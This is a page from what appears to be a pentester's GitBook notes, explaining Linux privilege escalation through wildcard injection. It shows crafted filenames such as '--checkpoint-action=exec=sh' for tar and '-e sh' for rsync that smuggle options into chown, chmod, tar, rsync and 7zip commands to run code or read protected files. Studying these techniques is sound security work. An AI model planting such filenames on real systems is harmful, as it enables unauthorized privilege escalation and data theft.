📑
Security Notes
  • Readme
  • Resources
    • Useful sites
    • Metasploit
      • Searchsploit
      • Msfvenom
      • Meterpreter
    • Shells
    • Linux
      • Cron
      • Connection
      • Compilers
    • Windows
      • Kernel exploits table
    • Bruteforce
      • Checklist
      • John the Ripper
      • Hashcat
    • BOF
      • Assembly
    • Gaining access checklist
  • Cloud - AWS
    • Enumeration
    • References
    • Bucket S3
      • Public Bucket
      • AMI Files
      • File upload to RCE
    • EC2
      • cloud-init Exploits
      • SSRF To AWS Role compromise
      • Unencrypted EBS
    • IAM
      • Account Disclosure by resource policy
    • Lambda Function
      • Code Injection
      • Attacking APIs
    • VPC
      • Expose Resources
  • Networking
    • Nmap
      • Scan types
    • TCPDump
    • Port forwarding
    • Ports
      • 21 - FTP
      • 22 - SSH
      • 25 465 587 - SMTP
      • 53 - DNS
      • 110 995 - POP3
      • 111 - NFS
      • 113 - Ident
      • 123 - NTP
      • 135 137 139 - RPC
      • 143 993 - IMAP
      • 161 - SNMP
      • 389 - LDAP
      • 139 445 - SMB
      • 873 - Rsync
      • 6379 - Redis
      • 6667 - IRC
  • Linux PrivEsc
    • Checklist
    • Enumeration
      • Important files
      • Memory Dump
    • Privileges Exploitation
    • Wildcard Exploits
    • Sudo Exploits
    • Docker Container
    • Docker Groups
    • Common Exploits
  • Windows PrivEsc
    • Checklist
    • Enumeration
      • Important Files
    • Antivirus evasion tools
    • Unquoted paths
    • Always install elevated
    • Vulnerable services
    • Client side
    • Exploitable privileges
      • Juicy Potato
    • UAC bypass
    • Common Exploits
  • Active Directory
    • Introduction
    • Checklist
    • Enumeration
    • Enable RDP
    • Kerberos
    • Rubeus
    • Credentials harvesting
      • Domain Controller specific
    • Connection
    • Pass The Hash
    • Kerberoast
    • ASREProast
    • Tickets
  • Web Attacks
    • Checklist
    • Enumeration
      • URL bruteforcing
    • APIs and Fields
    • Authentication
    • Filter Evasion
      • Fuzzying and encoding
    • File Vulnerabilities
      • LFI List
      • PHP shells
    • RCE
    • Code Injection
    • Dependency Injection
    • Joomla
    • Wordpress
    • WebDAV
    • HTTP
    • XSS
      • DOM Based
      • Reflected
      • Filter Evasion
    • SSI
    • SSTI
    • RCE
    • CSRF
    • SQL injection
      • sqlmap
      • PostgreSQL
      • Oracle
      • MSSQL
      • MySQL
      • Login
    • XPath injection
    • XXE
    • CORS
  • MOBILE PENTESTING
    • Static Code Analysis
    • Dynamic Code Analysis
    • Network Traffic Analysis
Powered by GitBook
On this page
  • Chown & Chmod - Modify execution
  • Tar - Arbitray command execution
  • Rsync - Arbitrary command execution
  • 7zip - Arbitrary file read
  1. Linux PrivEsc

Wildcard Exploits

Chown & Chmod - Modify execution

Case

chown -R nobody:nobody folder/*.ext
chmod -R 620 folder/*.ext

Exploitation:

  1. Navigate to the folder

  2. Create a file called drf.ext

  3. Create a file called --reference=.drf.php

  4. When the script is executed it will read the filename specified at point 3 as a parameter and override the owner or permissions specified in the script with the one of the file pointed by the instruction (in this case drf.ext)

Tar - Arbitray command execution

Case

tar cvf archive.tar *

Exploitation:

  1. Navigate to the folder

  2. Create a file called --checkpoint=1

  3. Create a file called --checkpoint-action=exec=sh <cmd or script>

  4. On execution the command specified will be executed. Keep in mind that path separators are forbidden in filenames, as such your script should be in the same folder of the files created previously or in a path defined in your env variables

Rsync - Arbitrary command execution

Case

rsync -t *.ext

Exploitation:

  1. Navigate to the target folder

  2. Create a shell script called shell.ext (use shell.sh if the wildcard has no extension specified). Insert in the script any command you wish to execute

  3. Create a new file called -e sh <shell file>

  4. On execution the script created at point 2 is run

7zip - Arbitrary file read

Case (works regardless of the -- operator)

7za a file.zip -t7z -snl -- folder/*.ext

Exploitation:

  1. Navigate to the target folder

  2. Create a file called @list.txt

  3. ln -s <target file> list.txt

  4. Once the command runs the file pointed by the link list.txt will be included in the archive allowing us to read it

PreviousPrivileges ExploitationNextSudo Exploits

Last updated 1 year ago